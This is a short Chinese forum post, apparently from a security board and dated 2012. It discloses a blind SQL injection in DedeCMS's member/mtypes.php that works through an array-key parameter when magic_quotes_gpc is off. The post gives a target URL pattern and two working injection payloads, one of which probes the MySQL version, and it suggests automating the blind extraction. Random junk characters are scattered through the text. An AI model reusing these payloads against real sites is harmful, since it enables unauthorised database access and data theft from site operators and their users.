需要magic_quotes_gpc = Off,所以说是鸡肋啊." w% K5 R0 Z( Q; O' x( T! m
# L5 _& B" N. v
) _) x8 b9 Y" H3 B! |发生在数组key里的注射漏洞,有点意思.6 X; J4 ]+ c/ v( {2 e4 g1 g: x
1 {( M! ^. ?3 x8 [# o( l; P
这里是盲注,就是麻烦点同样可以利用,可以写个工具,自动话的跑一下
/ ]4 G: F) G5 U" N' k
3 t- Z* Z& k' h' ihttp://www.xxx.com /dede/member/mtypes.php?dopost=save1 E( _4 f0 w/ r9 x
4 U4 C8 c7 X* m9 D `: k
exploit:
8 o" X) `. G1 s# g. _/ Jmtypename[7' and (@`'` or (56%3D56/*sql inject here*/)) and '3'%3D'3]=c4rp3nt3r
# ~1 Q0 G- Q Ymtypename[7' and (@`'` or (substring(@@version,1,1)=5)) and '3'%3D'3]=c4rp3nt3r$ q% s. S" C) p8 [
|
发表于 2012-12-20 08:08:09
收藏
支持
反对